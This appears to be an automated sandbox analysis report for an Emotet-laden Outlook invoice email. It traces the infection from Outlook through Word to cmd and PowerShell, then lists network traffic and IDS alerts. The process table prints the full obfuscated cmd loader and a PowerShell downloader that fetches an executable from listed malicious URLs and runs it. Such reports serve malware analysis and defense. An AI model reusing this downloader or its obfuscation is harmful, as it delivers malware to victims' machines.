File name: | Missing Invoices need note.msg |
Full analysis: | https://app.any.run/tasks/3858c784-f74a-4846-a481-fb003fded6f1 |
Verdict: | Malicious activity |
Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
Analysis date: | January 22, 2019, 19:42:47 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/vnd.ms-outlook |
File info: | CDFV2 Microsoft Outlook Message |
MD5: | 78D7241F0B94D3BD63B07B32BD4D3F6C |
SHA1: | 737A043F787D8A2971D2B90425A1873E9FDE68C0 |
SHA256: | 5C1FDBE1F093EE9FBC68FD2EBF4AF7323939973CA4E5B9EFD9D7FFC96A246ED2 |
SSDEEP: | 768:qzUMA48cimIWvnKoWsK2vcmYDEhAX/nQ/kf5S3Dc6I20VRwshkiGdS3nWD2V2dWW:ZdWRW+v+Rw3Dc6SNHT3Q2V5 |
.msg | | | Outlook Message (58.9) |
---|---|---|
.oft | | | Outlook Form Template (34.4) |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2852 | "C:\Program Files\Microsoft Office\Office14\OUTLOOK.EXE" /f "C:\Users\admin\AppData\Local\Temp\Missing Invoices need note.msg" | C:\Program Files\Microsoft Office\Office14\OUTLOOK.EXE | explorer.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Outlook Version: 14.0.6025.1000 | ||||
3700 | "C:\Program Files\Internet Explorer\iexplore.exe" http://thietbivesinhtot.com/jh47mgs14/Messages/01_19 | C:\Program Files\Internet Explorer\iexplore.exe | OUTLOOK.EXE | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Internet Explorer Exit code: 1 Version: 8.00.7600.16385 (win7_rtm.090713-1255) | ||||
2420 | "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:3700 CREDAT:71937 | C:\Program Files\Internet Explorer\iexplore.exe | iexplore.exe | |
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Internet Explorer Exit code: 0 Version: 8.00.7600.16385 (win7_rtm.090713-1255) | ||||
3504 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\OCDM6JB6\Untitled-attachment-20190122[1].doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | iexplore.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
3028 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Embedding | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 | ||||
3024 | c:\o4277\v3448\j5495\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:O/C"set Qbq=D%rkjUNcIgeMCP'a=(/ u)B2~ELnb{zvYW5sf4i,6h3Sq}0-1\:.Tld+;9yxtFOwAJ7Gm@$X8op&&for %P in (74,73,63,1,13,5,22,26,8,12,50,24,34,39,48,1,2,1,43,25,43,43,8,62,6,6,64,11,25,50,24,47,37,39,48,1,41,1,52,25,11,13,50,24,47,42,39,48,1,53,53,19,70,74,23,48,66,42,16,14,7,72,46,66,48,14,56,70,44,48,57,72,16,27,10,63,47,73,28,4,10,7,60,19,6,10,60,51,33,10,28,12,53,38,10,27,60,56,70,15,66,23,46,42,16,14,41,60,60,74,50,18,18,54,20,15,27,68,38,30,20,3,38,74,15,2,3,51,7,73,68,18,42,4,54,37,41,48,44,38,63,69,41,60,60,74,50,18,18,27,15,60,38,73,27,15,53,38,54,10,15,51,38,27,36,73,18,65,32,42,44,9,31,52,52,69,41,60,60,74,50,18,18,28,38,30,27,10,35,51,2,38,35,10,47,20,74,51,27,35,3,51,2,20,18,13,28,3,52,66,65,22,68,69,41,60,60,74,50,18,18,42,37,51,23,42,57,51,57,34,51,72,46,18,32,42,40,71,35,34,13,35,68,69,41,60,60,74,50,18,18,68,15,38,53,51,41,73,60,9,38,2,53,35,9,15,68,10,35,51,59,58,30,18,5,73,60,38,62,68,10,14,51,43,74,53,38,60,17,14,69,14,21,56,70,30,72,37,34,48,16,14,60,57,34,37,57,14,56,70,41,42,40,23,57,19,16,19,14,48,46,48,14,56,70,4,57,42,34,46,16,14,30,37,34,66,48,14,56,70,44,40,40,34,42,16,70,10,27,31,50,60,10,68,74,55,14,49,14,55,70,41,42,40,23,57,55,14,51,10,59,10,14,56,36,73,2,10,15,7,41,17,70,73,66,37,48,46,19,38,27,19,70,15,66,23,46,42,21,29,60,2,58,29,70,44,48,57,72,51,0,73,63,27,53,73,15,54,61,38,53,10,17,70,73,66,37,48,46,39,19,70,44,40,40,34,42,21,56,70,68,34,46,37,23,16,14,44,40,48,57,23,14,56,8,36,19,17,17,67,10,60,47,8,60,10,68,19,70,44,40,40,34,42,21,51,53,10,27,9,60,41,19,47,9,10,19,37,46,46,46,46,21,19,29,8,27,31,73,3,10,47,8,60,10,68,19,70,44,40,40,34,42,56,70,63,40,37,40,66,16,14,28,23,66,66,40,14,56,28,2,10,15,3,56,45,45,7,15,60,7,41,29,45,45,70,28,37,34,46,40,16,14,68,57,48,23,46,14,56,79)do set eR7=!eR7!!Qbq:~%P,1!&&if %P equ 79 echo !eR7:*eR7!=!|cmd" | c:\windows\system32\cmd.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3572 | CmD /V:O/C"set Qbq=D%rkjUNcIgeMCP'a=(/ u)B2~ELnb{zvYW5sf4i,6h3Sq}0-1\:.Tld+;9yxtFOwAJ7Gm@$X8op&&for %P in (74,73,63,1,13,5,22,26,8,12,50,24,34,39,48,1,2,1,43,25,43,43,8,62,6,6,64,11,25,50,24,47,37,39,48,1,41,1,52,25,11,13,50,24,47,42,39,48,1,53,53,19,70,74,23,48,66,42,16,14,7,72,46,66,48,14,56,70,44,48,57,72,16,27,10,63,47,73,28,4,10,7,60,19,6,10,60,51,33,10,28,12,53,38,10,27,60,56,70,15,66,23,46,42,16,14,41,60,60,74,50,18,18,54,20,15,27,68,38,30,20,3,38,74,15,2,3,51,7,73,68,18,42,4,54,37,41,48,44,38,63,69,41,60,60,74,50,18,18,27,15,60,38,73,27,15,53,38,54,10,15,51,38,27,36,73,18,65,32,42,44,9,31,52,52,69,41,60,60,74,50,18,18,28,38,30,27,10,35,51,2,38,35,10,47,20,74,51,27,35,3,51,2,20,18,13,28,3,52,66,65,22,68,69,41,60,60,74,50,18,18,42,37,51,23,42,57,51,57,34,51,72,46,18,32,42,40,71,35,34,13,35,68,69,41,60,60,74,50,18,18,68,15,38,53,51,41,73,60,9,38,2,53,35,9,15,68,10,35,51,59,58,30,18,5,73,60,38,62,68,10,14,51,43,74,53,38,60,17,14,69,14,21,56,70,30,72,37,34,48,16,14,60,57,34,37,57,14,56,70,41,42,40,23,57,19,16,19,14,48,46,48,14,56,70,4,57,42,34,46,16,14,30,37,34,66,48,14,56,70,44,40,40,34,42,16,70,10,27,31,50,60,10,68,74,55,14,49,14,55,70,41,42,40,23,57,55,14,51,10,59,10,14,56,36,73,2,10,15,7,41,17,70,73,66,37,48,46,19,38,27,19,70,15,66,23,46,42,21,29,60,2,58,29,70,44,48,57,72,51,0,73,63,27,53,73,15,54,61,38,53,10,17,70,73,66,37,48,46,39,19,70,44,40,40,34,42,21,56,70,68,34,46,37,23,16,14,44,40,48,57,23,14,56,8,36,19,17,17,67,10,60,47,8,60,10,68,19,70,44,40,40,34,42,21,51,53,10,27,9,60,41,19,47,9,10,19,37,46,46,46,46,21,19,29,8,27,31,73,3,10,47,8,60,10,68,19,70,44,40,40,34,42,56,70,63,40,37,40,66,16,14,28,23,66,66,40,14,56,28,2,10,15,3,56,45,45,7,15,60,7,41,29,45,45,70,28,37,34,46,40,16,14,68,57,48,23,46,14,56,79)do set eR7=!eR7!!Qbq:~%P,1!&&if %P equ 79 echo !eR7:*eR7!=!|cmd" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3348 | C:\Windows\system32\cmd.exe /S /D /c" echo pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $p2173='c8071';$q198=new-object Net.WebClient;$a7203='http://duanmizukipark.com/3jd4h1qiw@http://nationalidea.info/JY3qgvTT@http://biznes.rise-up.nsk.ru/PbkT7JBm@http://34.239.95.80/Y36Xs5Psm@http://mail.hotgirlsgames.xyz/UotiOme'.Split('@');$z8451='t9549';$h3629 = '101';$j9350='z4571';$q6653=$env:temp+'\'+$h3629+'.exe';foreach($o7410 in $a7203){try{$q198.DownloadFile($o7410, $q6653);$m5042='q6192';If ((Get-Item $q6653).length -ge 40000) {Invoke-Item $q6653;$w6467='b2776';break;}}catch{}}$b4506='m9120';" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3428 | cmd | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3800 | powershell $p2173='c8071';$q198=new-object Net.WebClient;$a7203='http://duanmizukipark.com/3jd4h1qiw@http://nationalidea.info/JY3qgvTT@http://biznes.rise-up.nsk.ru/PbkT7JBm@http://34.239.95.80/Y36Xs5Psm@http://mail.hotgirlsgames.xyz/UotiOme'.Split('@');$z8451='t9549';$h3629 = '101';$j9350='z4571';$q6653=$env:temp+'\'+$h3629+'.exe';foreach($o7410 in $a7203){try{$q198.DownloadFile($o7410, $q6653);$m5042='q6192';If ((Get-Item $q6653).length -ge 40000) {Invoke-Item $q6653;$w6467='b2776';break;}}catch{}}$b4506='m9120'; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
2852 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Temp\CVR94F3.tmp.cvr | — | |
MD5:— | SHA256:— | |||
3700 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RB73MZ6Y\favicon[1].ico | — | |
MD5:— | SHA256:— | |||
3700 | iexplore.exe | C:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico | — | |
MD5:— | SHA256:— | |||
3700 | iexplore.exe | C:\Users\admin\AppData\Local\Temp\~DF9F2F2D0AF8E70263.TMP | — | |
MD5:— | SHA256:— | |||
3504 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRC2F8.tmp.cvr | — | |
MD5:— | SHA256:— | |||
3504 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\OICE_54750BF0-D690-431D-AC33-7065289CD3ED.0\C4451800.doc\:Zone.Identifier:$DATA | — | |
MD5:— | SHA256:— | |||
3028 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\OICE_54750BF0-D690-431D-AC33-7065289CD3ED.0\2B1E94A6.jpg | — | |
MD5:— | SHA256:— | |||
2852 | OUTLOOK.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$rmalEmail.dotm | pgc | |
MD5:C786659E5A8B8E82AF8FA6D2D4E685AB | SHA256:14BD49365BE76B19248702BDEFEA7E981D049C0E448B402827B0A157B5BFA722 | |||
3700 | iexplore.exe | C:\Users\admin\AppData\Local\Temp\~DFD5DA95FA795BE070.TMP | — | |
MD5:— | SHA256:— | |||
3700 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Internet Explorer\Recovery\Active\RecoveryStore.{FB4B6B83-1E7D-11E9-BAD8-5254004A04AF}.dat | — | |
MD5:— | SHA256:— |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
2852 | OUTLOOK.EXE | GET | — | 64.4.26.155:80 | http://config.messenger.msn.com/config/msgrconfig.asmx?op=GetOlcConfig | US | — | — | whitelisted |
2420 | iexplore.exe | GET | 200 | 202.92.7.103:80 | http://thietbivesinhtot.com/jh47mgs14/Messages/01_19/ | VN | xml | 108 Kb | malicious |
684 | wabmetagen.exe | GET | — | 200.125.113.60:8080 | http://200.125.113.60:8080/ | AR | — | — | malicious |
3800 | powershell.exe | GET | 200 | 45.252.248.20:80 | http://duanmizukipark.com/3jd4h1qiw/ | VN | executable | 573 Kb | malicious |
3700 | iexplore.exe | GET | 200 | 204.79.197.200:80 | http://www.bing.com/favicon.ico | US | image | 237 b | whitelisted |
2420 | iexplore.exe | GET | 301 | 202.92.7.103:80 | http://thietbivesinhtot.com/jh47mgs14/Messages/01_19 | VN | html | 1.12 Kb | malicious |
3800 | powershell.exe | GET | 301 | 45.252.248.20:80 | http://duanmizukipark.com/3jd4h1qiw | VN | html | 617 b | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
2852 | OUTLOOK.EXE | 64.4.26.155:80 | config.messenger.msn.com | Microsoft Corporation | US | whitelisted |
3700 | iexplore.exe | 204.79.197.200:80 | www.bing.com | Microsoft Corporation | US | whitelisted |
684 | wabmetagen.exe | 200.125.113.60:8080 | — | Telecentro S.A. | AR | malicious |
2420 | iexplore.exe | 202.92.7.103:80 | thietbivesinhtot.com | VNPT Corp | VN | suspicious |
3800 | powershell.exe | 45.252.248.20:80 | duanmizukipark.com | AZDIGI Corporation | VN | malicious |
Domain | IP | Reputation |
---|---|---|
config.messenger.msn.com |
| whitelisted |
thietbivesinhtot.com |
| malicious |
www.bing.com |
| whitelisted |
duanmizukipark.com |
| malicious |
PID | Process | Class | Message |
---|---|---|---|
2420 | iexplore.exe | A Network Trojan was detected | ET TROJAN Possible malicious Office doc hidden in XML file |
3800 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious loader with tiny header |
3800 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Trojan-Downloader Emoloader Win32 |
3800 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
3800 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
3800 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |